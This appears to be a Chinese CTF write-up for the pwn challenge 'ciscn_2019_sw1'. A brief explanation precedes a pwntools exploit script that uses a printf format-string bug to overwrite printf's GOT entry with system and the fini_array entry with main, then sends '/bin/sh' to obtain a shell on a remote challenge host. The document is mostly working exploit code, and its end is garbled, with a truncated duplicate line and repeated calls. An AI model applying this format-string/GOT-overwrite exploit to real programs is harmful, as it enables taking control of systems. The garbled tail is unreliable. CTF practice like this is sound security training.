Ciscn_2019_sw1
在执行main函数之前会调用init_array里的函数,在执行完main函数之后调用fini_array里的函数,因此这道题思路为通过第一次printf劫持printf的got表为system的函数地址,劫持fini_addr为main函数的地址,第二次输入"/bin/sh\x00",当执行到printf(“/bin/sh\x00”)时,由于劫持为system函数,因此执行system(“/bin/sh\x00”),拿到shell。
话不多说,给exp
from pwn import *
from LibcSearcher import *
file_path = "./chall/1"
local = 0
remote_path = "node4.buuoj.cn:28410"
elf = ELF("./chall/1")
# libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
################################ forbidden ####################################
if local != 1:
p = remote(remote_path.split(":")[0],int(remote_path.split(":")[1]))
else:
p = process(file_path)
sd = lambda payload : p.send(payload)
sdl = lambda payload : p.sendline(payload)
sda = lambda data,payload : p.sendafter(data,payload)
sdla = lambda data,payload : p.sendlineafter(data,payload)
it = lambda : p.interactive()
rcv = lambda num : p.recv(num)
rcv_all = lambda : p.recv()
rcvu = lambda data : p.recvuntil(data)
lbc = lambda str1,str2 : LibcSearcher(str1,str2)
lg = lambda name,data : p.success(name + "-> 0x%x" % data)
#采用b *<addr> b *$rebase(<addr>)下断点
def debug(a=''):
if local:
gdb.attach(p,a)
if a=='':
pass
else: pass
################################ forbidden ####################################
get_addr_64 = lambda: u64(rcvu(b"\x7f")[-6:].ljust(8,b"\x00"))
############################################################################
##check: arch
##check:local
##check: .so
if __name__ == "__main__":
context(os='linux', arch='amd64', log_level='debug')
debug("b *0x80485a8")
sys_addr = 0x80483d0
fini_addr = 0x804979c
printf_got = 0x804989c
main_addr = 0x8048534
#更改fini_addr处为main函数地址,劫持printf got表为system函数
payload = "%{}c%{}$hn%{}c%{}$hn%{}c%{}$hn".format(0x804,14,0x83d0-0x804,15,0x8534-0x83d0,13)
payload = bytes(payload.encode("utf-8"))
payload = payload + p32(fini_addr) + p32(printf_got+2) + p32(printf_got)
rcv_all()
payload = payload.ljust(32,b"a")
sdl(payload)
sleep(0.2)
sdl(b"/bin/sh\x00")
it()
l(payload)
sleep(0.2)
sdl(b"/bin/sh\x00")
it()